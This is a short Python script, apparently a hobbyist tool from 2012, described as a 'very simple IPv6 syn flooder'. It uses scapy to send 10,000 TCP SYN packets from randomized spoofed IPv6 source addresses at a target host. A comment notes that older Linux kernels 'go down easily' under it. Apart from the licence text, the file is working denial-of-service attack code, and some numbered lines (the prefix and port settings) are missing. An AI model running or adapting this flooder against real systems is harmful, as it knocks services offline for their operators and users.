4 very simple IPv6 syn flooder
5 Copyright (C) 2012 Sven Hoexter <sven@timegate.de>
8 * Linux 2.6.32 aka Debian/Squeeze goes down easily.
9 * Linux 3.2 aka Debian/Wheezy keeps up well.
12 DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
13 Version 2, December 2004
15 Copyright (C) 2004 Sam Hocevar <sam@hocevar.net>
17 Everyone is permitted to copy and distribute verbatim or modified
18 copies of this license document, and changing it is allowed as long
19 as the name is changed.
21 DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
22 TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
24 0. You just DO WHAT THE FUCK YOU WANT TO.
28 from scapy.all import IPv6,TCP,send
30 b = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
32 dstaddr = "2001:DB8::123"
35 for x in range(0,10000):
36 random.shuffle(b,random.random)
37 srcaddr= prefix + b[0] + b[15] + b[1] + b[14] + ":" + b[2] + b[13] + b[3] + b[12] + ":" + b[4] + b[11] + b[5] + b[10] + ":" + b[6] + b[9] + b[7] + b[8] + ":" + b[8] + b[0] + b[9] + b[1] + ":" + b[10] + b[2] + b[11] + b[3] + ":" + b[12] + b[13] + b[14] + b[15]
38 send(IPv6(dst=dstaddr,src=srcaddr)/TCP(dport=destport,flags="S"))